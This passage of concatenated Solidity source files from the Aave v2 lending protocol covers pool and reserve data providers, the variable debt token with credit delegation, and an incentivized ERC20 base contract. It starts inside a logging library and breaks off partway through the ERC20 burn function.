_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3));
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import {IERC20Detailed} from '../dependencies/openzeppelin/contracts/IERC20Detailed.sol';
import {ILendingPoolAddressesProvider} from '../interfaces/ILendingPoolAddressesProvider.sol';
import {IUiPoolDataProvider} from './interfaces/IUiPoolDataProvider.sol';
import {ILendingPool} from '../interfaces/ILendingPool.sol';
import {IPriceOracleGetter} from '../interfaces/IPriceOracleGetter.sol';
import {IAToken} from '../interfaces/IAToken.sol';
import {IVariableDebtToken} from '../interfaces/IVariableDebtToken.sol';
import {IStableDebtToken} from '../interfaces/IStableDebtToken.sol';
import {WadRayMath} from '../protocol/libraries/math/WadRayMath.sol';
import {ReserveConfiguration} from '../protocol/libraries/configuration/ReserveConfiguration.sol';
import {UserConfiguration} from '../protocol/libraries/configuration/UserConfiguration.sol';
import {DataTypes} from '../protocol/libraries/types/DataTypes.sol';
import {
DefaultReserveInterestRateStrategy
} from '../protocol/lendingpool/DefaultReserveInterestRateStrategy.sol';
contract UiPoolDataProvider is IUiPoolDataProvider {
using WadRayMath for uint256;
using ReserveConfiguration for DataTypes.ReserveConfigurationMap;
using UserConfiguration for DataTypes.UserConfigurationMap;
address public constant MOCK_USD_ADDRESS = 0x10F7Fc1F91Ba351f9C629c5947AD69bD03C05b96;
function getInterestRateStrategySlopes(DefaultReserveInterestRateStrategy interestRateStrategy)
internal
view
returns (
uint256,
uint256,
uint256,
uint256
)
{
return (
interestRateStrategy.variableRateSlope1(),
interestRateStrategy.variableRateSlope2(),
interestRateStrategy.stableRateSlope1(),
interestRateStrategy.stableRateSlope2()
);
}
function getReservesData(ILendingPoolAddressesProvider provider, address user)
external
view
override
returns (
AggregatedReserveData[] memory,
UserReserveData[] memory,
uint256
)
{
ILendingPool lendingPool = ILendingPool(provider.getLendingPool());
IPriceOracleGetter oracle = IPriceOracleGetter(provider.getPriceOracle());
address[] memory reserves = lendingPool.getReservesList();
DataTypes.UserConfigurationMap memory userConfig = lendingPool.getUserConfiguration(user);
AggregatedReserveData[] memory reservesData = new AggregatedReserveData[](reserves.length);
UserReserveData[] memory userReservesData =
new UserReserveData[](user != address(0) ? reserves.length : 0);
for (uint256 i = 0; i < reserves.length; i++) {
AggregatedReserveData memory reserveData = reservesData[i];
reserveData.underlyingAsset = reserves[i];
// reserve current state
DataTypes.ReserveData memory baseData =
lendingPool.getReserveData(reserveData.underlyingAsset);
reserveData.liquidityIndex = baseData.liquidityIndex;
reserveData.variableBorrowIndex = baseData.variableBorrowIndex;
reserveData.liquidityRate = baseData.currentLiquidityRate;
reserveData.variableBorrowRate = baseData.currentVariableBorrowRate;
reserveData.stableBorrowRate = baseData.currentStableBorrowRate;
reserveData.lastUpdateTimestamp = baseData.lastUpdateTimestamp;
reserveData.aTokenAddress = baseData.aTokenAddress;
reserveData.stableDebtTokenAddress = baseData.stableDebtTokenAddress;
reserveData.variableDebtTokenAddress = baseData.variableDebtTokenAddress;
reserveData.interestRateStrategyAddress = baseData.interestRateStrategyAddress;
reserveData.priceInEth = oracle.getAssetPrice(reserveData.underlyingAsset);
reserveData.availableLiquidity = IERC20Detailed(reserveData.underlyingAsset).balanceOf(
reserveData.aTokenAddress
);
(
reserveData.totalPrincipalStableDebt,
,
reserveData.averageStableRate,
reserveData.stableDebtLastUpdateTimestamp
) = IStableDebtToken(reserveData.stableDebtTokenAddress).getSupplyData();
reserveData.totalScaledVariableDebt = IVariableDebtToken(reserveData.variableDebtTokenAddress)
.scaledTotalSupply();
// reserve configuration
// we're getting this info from the aToken, because some of assets can be not compliant with ETC20Detailed
reserveData.symbol = IERC20Detailed(reserveData.aTokenAddress).symbol();
reserveData.name = '';
(
reserveData.baseLTVasCollateral,
reserveData.reserveLiquidationThreshold,
reserveData.reserveLiquidationBonus,
reserveData.decimals,
reserveData.reserveFactor
) = baseData.configuration.getParamsMemory();
(
reserveData.isActive,
reserveData.isFrozen,
reserveData.borrowingEnabled,
reserveData.stableBorrowRateEnabled
) = baseData.configuration.getFlagsMemory();
reserveData.usageAsCollateralEnabled = reserveData.baseLTVasCollateral != 0;
(
reserveData.variableRateSlope1,
reserveData.variableRateSlope2,
reserveData.stableRateSlope1,
reserveData.stableRateSlope2
) = getInterestRateStrategySlopes(
DefaultReserveInterestRateStrategy(reserveData.interestRateStrategyAddress)
);
if (user != address(0)) {
// user reserve data
userReservesData[i].underlyingAsset = reserveData.underlyingAsset;
userReservesData[i].scaledATokenBalance = IAToken(reserveData.aTokenAddress)
.scaledBalanceOf(user);
userReservesData[i].usageAsCollateralEnabledOnUser = userConfig.isUsingAsCollateral(i);
if (userConfig.isBorrowing(i)) {
userReservesData[i].scaledVariableDebt = IVariableDebtToken(
reserveData
.variableDebtTokenAddress
)
.scaledBalanceOf(user);
userReservesData[i].principalStableDebt = IStableDebtToken(
reserveData
.stableDebtTokenAddress
)
.principalBalanceOf(user);
if (userReservesData[i].principalStableDebt != 0) {
userReservesData[i].stableBorrowRate = IStableDebtToken(
reserveData
.stableDebtTokenAddress
)
.getUserStableRate(user);
userReservesData[i].stableBorrowLastUpdateTimestamp = IStableDebtToken(
reserveData
.stableDebtTokenAddress
)
.getUserLastUpdated(user);
}
}
}
}
return (reservesData, userReservesData, oracle.getAssetPrice(MOCK_USD_ADDRESS));
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import {ILendingPoolAddressesProvider} from '../../interfaces/ILendingPoolAddressesProvider.sol';
interface IUiPoolDataProvider {
struct AggregatedReserveData {
address underlyingAsset;
string name;
string symbol;
uint256 decimals;
uint256 baseLTVasCollateral;
uint256 reserveLiquidationThreshold;
uint256 reserveLiquidationBonus;
uint256 reserveFactor;
bool usageAsCollateralEnabled;
bool borrowingEnabled;
bool stableBorrowRateEnabled;
bool isActive;
bool isFrozen;
// base data
uint128 liquidityIndex;
uint128 variableBorrowIndex;
uint128 liquidityRate;
uint128 variableBorrowRate;
uint128 stableBorrowRate;
uint40 lastUpdateTimestamp;
address aTokenAddress;
address stableDebtTokenAddress;
address variableDebtTokenAddress;
address interestRateStrategyAddress;
//
uint256 availableLiquidity;
uint256 totalPrincipalStableDebt;
uint256 averageStableRate;
uint256 stableDebtLastUpdateTimestamp;
uint256 totalScaledVariableDebt;
uint256 priceInEth;
uint256 variableRateSlope1;
uint256 variableRateSlope2;
uint256 stableRateSlope1;
uint256 stableRateSlope2;
}
//
// struct ReserveData {
// uint256 averageStableBorrowRate;
// uint256 totalLiquidity;
// }
struct UserReserveData {
address underlyingAsset;
uint256 scaledATokenBalance;
bool usageAsCollateralEnabledOnUser;
uint256 stableBorrowRate;
uint256 scaledVariableDebt;
uint256 principalStableDebt;
uint256 stableBorrowLastUpdateTimestamp;
}
//
// struct ATokenSupplyData {
// string name;
// string symbol;
// uint8 decimals;
// uint256 totalSupply;
// address aTokenAddress;
// }
function getReservesData(ILendingPoolAddressesProvider provider, address user)
external
view
returns (
AggregatedReserveData[] memory,
UserReserveData[] memory,
uint256
);
// function getUserReservesData(ILendingPoolAddressesProvider provider, address user)
// external
// view
// returns (UserReserveData[] memory);
//
// function getAllATokenSupply(ILendingPoolAddressesProvider provider)
// external
// view
// returns (ATokenSupplyData[] memory);
//
// function getATokenSupply(address[] calldata aTokens)
// external
// view
// returns (ATokenSupplyData[] memory);
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import {IERC20Detailed} from '../dependencies/openzeppelin/contracts/IERC20Detailed.sol';
import {ILendingPoolAddressesProvider} from '../interfaces/ILendingPoolAddressesProvider.sol';
import {ILendingPool} from '../interfaces/ILendingPool.sol';
import {IStableDebtToken} from '../interfaces/IStableDebtToken.sol';
import {IVariableDebtToken} from '../interfaces/IVariableDebtToken.sol';
import {ReserveConfiguration} from '../protocol/libraries/configuration/ReserveConfiguration.sol';
import {UserConfiguration} from '../protocol/libraries/configuration/UserConfiguration.sol';
import {DataTypes} from '../protocol/libraries/types/DataTypes.sol';
contract AaveProtocolDataProvider {
using ReserveConfiguration for DataTypes.ReserveConfigurationMap;
using UserConfiguration for DataTypes.UserConfigurationMap;
address constant MKR = 0x9f8F72aA9304c8B593d555F12eF6589cC3A579A2;
address constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
struct TokenData {
string symbol;
address tokenAddress;
}
ILendingPoolAddressesProvider public immutable ADDRESSES_PROVIDER;
constructor(ILendingPoolAddressesProvider addressesProvider) public {
ADDRESSES_PROVIDER = addressesProvider;
}
function getAllReservesTokens() external view returns (TokenData[] memory) {
ILendingPool pool = ILendingPool(ADDRESSES_PROVIDER.getLendingPool());
address[] memory reserves = pool.getReservesList();
TokenData[] memory reservesTokens = new TokenData[](reserves.length);
for (uint256 i = 0; i < reserves.length; i++) {
if (reserves[i] == MKR) {
reservesTokens[i] = TokenData({symbol: 'MKR', tokenAddress: reserves[i]});
continue;
}
if (reserves[i] == ETH) {
reservesTokens[i] = TokenData({symbol: 'ETH', tokenAddress: reserves[i]});
continue;
}
reservesTokens[i] = TokenData({
symbol: IERC20Detailed(reserves[i]).symbol(),
tokenAddress: reserves[i]
});
}
return reservesTokens;
}
function getAllATokens() external view returns (TokenData[] memory) {
ILendingPool pool = ILendingPool(ADDRESSES_PROVIDER.getLendingPool());
address[] memory reserves = pool.getReservesList();
TokenData[] memory aTokens = new TokenData[](reserves.length);
for (uint256 i = 0; i < reserves.length; i++) {
DataTypes.ReserveData memory reserveData = pool.getReserveData(reserves[i]);
aTokens[i] = TokenData({
symbol: IERC20Detailed(reserveData.aTokenAddress).symbol(),
tokenAddress: reserveData.aTokenAddress
});
}
return aTokens;
}
function getReserveConfigurationData(address asset)
external
view
returns (
uint256 decimals,
uint256 ltv,
uint256 liquidationThreshold,
uint256 liquidationBonus,
uint256 reserveFactor,
bool usageAsCollateralEnabled,
bool borrowingEnabled,
bool stableBorrowRateEnabled,
bool isActive,
bool isFrozen
)
{
DataTypes.ReserveConfigurationMap memory configuration =
ILendingPool(ADDRESSES_PROVIDER.getLendingPool()).getConfiguration(asset);
(ltv, liquidationThreshold, liquidationBonus, decimals, reserveFactor) = configuration
.getParamsMemory();
(isActive, isFrozen, borrowingEnabled, stableBorrowRateEnabled) = configuration
.getFlagsMemory();
usageAsCollateralEnabled = liquidationThreshold > 0;
}
function getReserveData(address asset)
external
view
returns (
uint256 availableLiquidity,
uint256 totalStableDebt,
uint256 totalVariableDebt,
uint256 liquidityRate,
uint256 variableBorrowRate,
uint256 stableBorrowRate,
uint256 averageStableBorrowRate,
uint256 liquidityIndex,
uint256 variableBorrowIndex,
uint40 lastUpdateTimestamp
)
{
DataTypes.ReserveData memory reserve =
ILendingPool(ADDRESSES_PROVIDER.getLendingPool()).getReserveData(asset);
return (
IERC20Detailed(asset).balanceOf(reserve.aTokenAddress),
IERC20Detailed(reserve.stableDebtTokenAddress).totalSupply(),
IERC20Detailed(reserve.variableDebtTokenAddress).totalSupply(),
reserve.currentLiquidityRate,
reserve.currentVariableBorrowRate,
reserve.currentStableBorrowRate,
IStableDebtToken(reserve.stableDebtTokenAddress).getAverageStableRate(),
reserve.liquidityIndex,
reserve.variableBorrowIndex,
reserve.lastUpdateTimestamp
);
}
function getUserReserveData(address asset, address user)
external
view
returns (
uint256 currentATokenBalance,
uint256 currentStableDebt,
uint256 currentVariableDebt,
uint256 principalStableDebt,
uint256 scaledVariableDebt,
uint256 stableBorrowRate,
uint256 liquidityRate,
uint40 stableRateLastUpdated,
bool usageAsCollateralEnabled
)
{
DataTypes.ReserveData memory reserve =
ILendingPool(ADDRESSES_PROVIDER.getLendingPool()).getReserveData(asset);
DataTypes.UserConfigurationMap memory userConfig =
ILendingPool(ADDRESSES_PROVIDER.getLendingPool()).getUserConfiguration(user);
currentATokenBalance = IERC20Detailed(reserve.aTokenAddress).balanceOf(user);
currentVariableDebt = IERC20Detailed(reserve.variableDebtTokenAddress).balanceOf(user);
currentStableDebt = IERC20Detailed(reserve.stableDebtTokenAddress).balanceOf(user);
principalStableDebt = IStableDebtToken(reserve.stableDebtTokenAddress).principalBalanceOf(user);
scaledVariableDebt = IVariableDebtToken(reserve.variableDebtTokenAddress).scaledBalanceOf(user);
liquidityRate = reserve.currentLiquidityRate;
stableBorrowRate = IStableDebtToken(reserve.stableDebtTokenAddress).getUserStableRate(user);
stableRateLastUpdated = IStableDebtToken(reserve.stableDebtTokenAddress).getUserLastUpdated(
user
);
usageAsCollateralEnabled = userConfig.isUsingAsCollateral(reserve.id);
}
function getReserveTokensAddresses(address asset)
external
view
returns (
address aTokenAddress,
address stableDebtTokenAddress,
address variableDebtTokenAddress
)
{
DataTypes.ReserveData memory reserve =
ILendingPool(ADDRESSES_PROVIDER.getLendingPool()).getReserveData(asset);
return (
reserve.aTokenAddress,
reserve.stableDebtTokenAddress,
reserve.variableDebtTokenAddress
);
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import {IVariableDebtToken} from '../../interfaces/IVariableDebtToken.sol';
import {WadRayMath} from '../libraries/math/WadRayMath.sol';
import {Errors} from '../libraries/helpers/Errors.sol';
import {DebtTokenBase} from './base/DebtTokenBase.sol';
import {ILendingPool} from '../../interfaces/ILendingPool.sol';
import {IAaveIncentivesController} from '../../interfaces/IAaveIncentivesController.sol';
/**
* @title VariableDebtToken
* @notice Implements a variable debt token to track the borrowing positions of users
* at variable rate mode
* @author Aave
**/
contract VariableDebtToken is DebtTokenBase, IVariableDebtToken {
using WadRayMath for uint256;
uint256 public constant DEBT_TOKEN_REVISION = 0x1;
ILendingPool internal _pool;
address internal _underlyingAsset;
IAaveIncentivesController internal _incentivesController;
/**
* @dev Initializes the debt token.
* @param pool The address of the lending pool where this aToken will be used
* @param underlyingAsset The address of the underlying asset of this aToken (E.g. WETH for aWETH)
* @param incentivesController The smart contract managing potential incentives distribution
* @param debtTokenDecimals The decimals of the debtToken, same as the underlying asset's
* @param debtTokenName The name of the token
* @param debtTokenSymbol The symbol of the token
*/
function initialize(
ILendingPool pool,
address underlyingAsset,
IAaveIncentivesController incentivesController,
uint8 debtTokenDecimals,
string memory debtTokenName,
string memory debtTokenSymbol,
bytes calldata params
) public override initializer {
_setName(debtTokenName);
_setSymbol(debtTokenSymbol);
_setDecimals(debtTokenDecimals);
_pool = pool;
_underlyingAsset = underlyingAsset;
_incentivesController = incentivesController;
emit Initialized(
underlyingAsset,
address(pool),
address(incentivesController),
debtTokenDecimals,
debtTokenName,
debtTokenSymbol,
params
);
}
/**
* @dev Gets the revision of the stable debt token implementation
* @return The debt token implementation revision
**/
function getRevision() internal pure virtual override returns (uint256) {
return DEBT_TOKEN_REVISION;
}
/**
* @dev Calculates the accumulated debt balance of the user
* @return The debt balance of the user
**/
function balanceOf(address user) public view virtual override returns (uint256) {
uint256 scaledBalance = super.balanceOf(user);
if (scaledBalance == 0) {
return 0;
}
return scaledBalance.rayMul(_pool.getReserveNormalizedVariableDebt(_underlyingAsset));
}
/**
* @dev Mints debt token to the `onBehalfOf` address
* - Only callable by the LendingPool
* @param user The address receiving the borrowed underlying, being the delegatee in case
* of credit delegate, or same as `onBehalfOf` otherwise
* @param onBehalfOf The address receiving the debt tokens
* @param amount The amount of debt being minted
* @param index The variable debt index of the reserve
* @return `true` if the the previous balance of the user is 0
**/
function mint(
address user,
address onBehalfOf,
uint256 amount,
uint256 index
) external override onlyLendingPool returns (bool) {
if (user != onBehalfOf) {
_decreaseBorrowAllowance(onBehalfOf, user, amount);
}
uint256 previousBalance = super.balanceOf(onBehalfOf);
uint256 amountScaled = amount.rayDiv(index);
require(amountScaled != 0, Errors.CT_INVALID_MINT_AMOUNT);
_mint(onBehalfOf, amountScaled);
emit Transfer(address(0), onBehalfOf, amount);
emit Mint(user, onBehalfOf, amount, index);
return previousBalance == 0;
}
/**
* @dev Burns user variable debt
* - Only callable by the LendingPool
* @param user The user whose debt is getting burned
* @param amount The amount getting burned
* @param index The variable debt index of the reserve
**/
function burn(
address user,
uint256 amount,
uint256 index
) external override onlyLendingPool {
uint256 amountScaled = amount.rayDiv(index);
require(amountScaled != 0, Errors.CT_INVALID_BURN_AMOUNT);
_burn(user, amountScaled);
emit Transfer(user, address(0), amount);
emit Burn(user, amount, index);
}
/**
* @dev Returns the principal debt balance of the user from
* @return The debt balance of the user since the last burn/mint action
**/
function scaledBalanceOf(address user) public view virtual override returns (uint256) {
return super.balanceOf(user);
}
/**
* @dev Returns the total supply of the variable debt token. Represents the total debt accrued by the users
* @return The total supply
**/
function totalSupply() public view virtual override returns (uint256) {
return super.totalSupply().rayMul(_pool.getReserveNormalizedVariableDebt(_underlyingAsset));
}
/**
* @dev Returns the scaled total supply of the variable debt token. Represents sum(debt/index)
* @return the scaled total supply
**/
function scaledTotalSupply() public view virtual override returns (uint256) {
return super.totalSupply();
}
/**
* @dev Returns the principal balance of the user and principal total supply.
* @param user The address of the user
* @return The principal balance of the user
* @return The principal total supply
**/
function getScaledUserBalanceAndSupply(address user)
external
view
override
returns (uint256, uint256)
{
return (super.balanceOf(user), super.totalSupply());
}
/**
* @dev Returns the address of the underlying asset of this aToken (E.g. WETH for aWETH)
**/
function UNDERLYING_ASSET_ADDRESS() public view returns (address) {
return _underlyingAsset;
}
/**
* @dev Returns the address of the incentives controller contract
**/
function getIncentivesController() external view override returns (IAaveIncentivesController) {
return _getIncentivesController();
}
/**
* @dev Returns the address of the lending pool where this aToken is used
**/
function POOL() public view returns (ILendingPool) {
return _pool;
}
function _getIncentivesController() internal view override returns (IAaveIncentivesController) {
return _incentivesController;
}
function _getUnderlyingAssetAddress() internal view override returns (address) {
return _underlyingAsset;
}
function _getLendingPool() internal view override returns (ILendingPool) {
return _pool;
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import {ILendingPool} from '../../../interfaces/ILendingPool.sol';
import {ICreditDelegationToken} from '../../../interfaces/ICreditDelegationToken.sol';
import {
VersionedInitializable
} from '../../libraries/aave-upgradeability/VersionedInitializable.sol';
import {IncentivizedERC20} from '../IncentivizedERC20.sol';
import {Errors} from '../../libraries/helpers/Errors.sol';
/**
* @title DebtTokenBase
* @notice Base contract for different types of debt tokens, like StableDebtToken or VariableDebtToken
* @author Aave
*/
abstract contract DebtTokenBase is
IncentivizedERC20('DEBTTOKEN_IMPL', 'DEBTTOKEN_IMPL', 0),
VersionedInitializable,
ICreditDelegationToken
{
mapping(address => mapping(address => uint256)) internal _borrowAllowances;
/**
* @dev Only lending pool can call functions marked by this modifier
**/
modifier onlyLendingPool {
require(_msgSender() == address(_getLendingPool()), Errors.CT_CALLER_MUST_BE_LENDING_POOL);
_;
}
/**
* @dev delegates borrowing power to a user on the specific debt token
* @param delegatee the address receiving the delegated borrowing power
* @param amount the maximum amount being delegated. Delegation will still
* respect the liquidation constraints (even if delegated, a delegatee cannot
* force a delegator HF to go below 1)
**/
function approveDelegation(address delegatee, uint256 amount) external override {
_borrowAllowances[_msgSender()][delegatee] = amount;
emit BorrowAllowanceDelegated(_msgSender(), delegatee, _getUnderlyingAssetAddress(), amount);
}
/**
* @dev returns the borrow allowance of the user
* @param fromUser The user to giving allowance
* @param toUser The user to give allowance to
* @return the current allowance of toUser
**/
function borrowAllowance(address fromUser, address toUser)
external
view
override
returns (uint256)
{
return _borrowAllowances[fromUser][toUser];
}
/**
* @dev Being non transferrable, the debt token does not implement any of the
* standard ERC20 functions for transfer and allowance.
**/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
recipient;
amount;
revert('TRANSFER_NOT_SUPPORTED');
}
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
owner;
spender;
revert('ALLOWANCE_NOT_SUPPORTED');
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
spender;
amount;
revert('APPROVAL_NOT_SUPPORTED');
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
sender;
recipient;
amount;
revert('TRANSFER_NOT_SUPPORTED');
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
override
returns (bool)
{
spender;
addedValue;
revert('ALLOWANCE_NOT_SUPPORTED');
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
override
returns (bool)
{
spender;
subtractedValue;
revert('ALLOWANCE_NOT_SUPPORTED');
}
function _decreaseBorrowAllowance(
address delegator,
address delegatee,
uint256 amount
) internal {
uint256 newAllowance =
_borrowAllowances[delegator][delegatee].sub(amount, Errors.BORROW_ALLOWANCE_NOT_ENOUGH);
_borrowAllowances[delegator][delegatee] = newAllowance;
emit BorrowAllowanceDelegated(delegator, delegatee, _getUnderlyingAssetAddress(), newAllowance);
}
function _getUnderlyingAssetAddress() internal view virtual returns (address);
function _getLendingPool() internal view virtual returns (ILendingPool);
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
interface ICreditDelegationToken {
event BorrowAllowanceDelegated(
address indexed fromUser,
address indexed toUser,
address asset,
uint256 amount
);
/**
* @dev delegates borrowing power to a user on the specific debt token
* @param delegatee the address receiving the delegated borrowing power
* @param amount the maximum amount being delegated. Delegation will still
* respect the liquidation constraints (even if delegated, a delegatee cannot
* force a delegator HF to go below 1)
**/
function approveDelegation(address delegatee, uint256 amount) external;
/**
* @dev returns the borrow allowance of the user
* @param fromUser The user to giving allowance
* @param toUser The user to give allowance to
* @return the current allowance of toUser
**/
function borrowAllowance(address fromUser, address toUser) external view returns (uint256);
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import {Context} from '../../dependencies/openzeppelin/contracts/Context.sol';
import {IERC20} from '../../dependencies/openzeppelin/contracts/IERC20.sol';
import {IERC20Detailed} from '../../dependencies/openzeppelin/contracts/IERC20Detailed.sol';
import {SafeMath} from '../../dependencies/openzeppelin/contracts/SafeMath.sol';
import {IAaveIncentivesController} from '../../interfaces/IAaveIncentivesController.sol';
/**
* @title ERC20
* @notice Basic ERC20 implementation
* @author Aave, inspired by the Openzeppelin ERC20 implementation
**/
abstract contract IncentivizedERC20 is Context, IERC20, IERC20Detailed {
using SafeMath for uint256;
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 internal _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(
string memory name,
string memory symbol,
uint8 decimals
) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @return The name of the token
**/
function name() public view override returns (string memory) {
return _name;
}
/**
* @return The symbol of the token
**/
function symbol() public view override returns (string memory) {
return _symbol;
}
/**
* @return The decimals of the token
**/
function decimals() public view override returns (uint8) {
return _decimals;
}
/**
* @return The total supply of the token
**/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @return The balance of the token
**/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @return Abstract function implemented by the child aToken/debtToken.
* Done this way in order to not break compatibility with previous versions of aTokens/debtTokens
**/
function _getIncentivesController() internal view virtual returns(IAaveIncentivesController);
/**
* @dev Executes a transfer of tokens from _msgSender() to recipient
* @param recipient The recipient of the tokens
* @param amount The amount of tokens being transferred
* @return `true` if the transfer succeeds, `false` otherwise
**/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
emit Transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev Returns the allowance of spender on the tokens owned by owner
* @param owner The owner of the tokens
* @param spender The user allowed to spend the owner's tokens
* @return The amount of owner's tokens spender is allowed to spend
**/
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* @dev Allows `spender` to spend the tokens owned by _msgSender()
* @param spender The user allowed to spend _msgSender() tokens
* @return `true`
**/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev Executes a transfer of token from sender to recipient, if _msgSender() is allowed to do so
* @param sender The owner of the tokens
* @param recipient The recipient of the tokens
* @param amount The amount of tokens being transferred
* @return `true` if the transfer succeeds, `false` otherwise
**/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, 'ERC20: transfer amount exceeds allowance')
);
emit Transfer(sender, recipient, amount);
return true;
}
/**
* @dev Increases the allowance of spender to spend _msgSender() tokens
* @param spender The user allowed to spend on behalf of _msgSender()
* @param addedValue The amount being added to the allowance
* @return `true`
**/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Decreases the allowance of spender to spend _msgSender() tokens
* @param spender The user allowed to spend on behalf of _msgSender()
* @param subtractedValue The amount being subtracted to the allowance
* @return `true`
**/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
'ERC20: decreased allowance below zero'
)
);
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), 'ERC20: transfer from the zero address');
require(recipient != address(0), 'ERC20: transfer to the zero address');
_beforeTokenTransfer(sender, recipient, amount);
uint256 oldSenderBalance = _balances[sender];
_balances[sender] = oldSenderBalance.sub(amount, 'ERC20: transfer amount exceeds balance');
uint256 oldRecipientBalance = _balances[recipient];
_balances[recipient] = _balances[recipient].add(amount);
if (address(_getIncentivesController()) != address(0)) {
uint256 currentTotalSupply = _totalSupply;
_getIncentivesController().handleAction(sender, currentTotalSupply, oldSenderBalance);
if (sender != recipient) {
_getIncentivesController().handleAction(recipient, currentTotalSupply, oldRecipientBalance);
}
}
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), 'ERC20: mint to the zero address');
_beforeTokenTransfer(address(0), account, amount);
uint256 oldTotalSupply = _totalSupply;
_totalSupply = oldTotalSupply.add(amount);
uint256 oldAccountBalance = _balances[account];
_balances[account] = oldAccountBalance.add(amount);
if (address(_getIncentivesController()) != address(0)) {
_getIncentivesController().handleAction(account, oldTotalSupply, oldAccountBalance);
}
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), 'ERC20: burn from the zero address');
_beforeTokenTransfer(account, address(0), amount);
uint256 oldTotalSupply = _totalSupply;
_totalSupply = oldTotalSupply.sub(amount);
uint256 oldAccountBalance = _balances[account];
_balances[account] = oldAccountBalance.sub(amount, 'ERC20: burn amount exceeds balance');
if (address(_getIncentivesController()) != address(0)) {
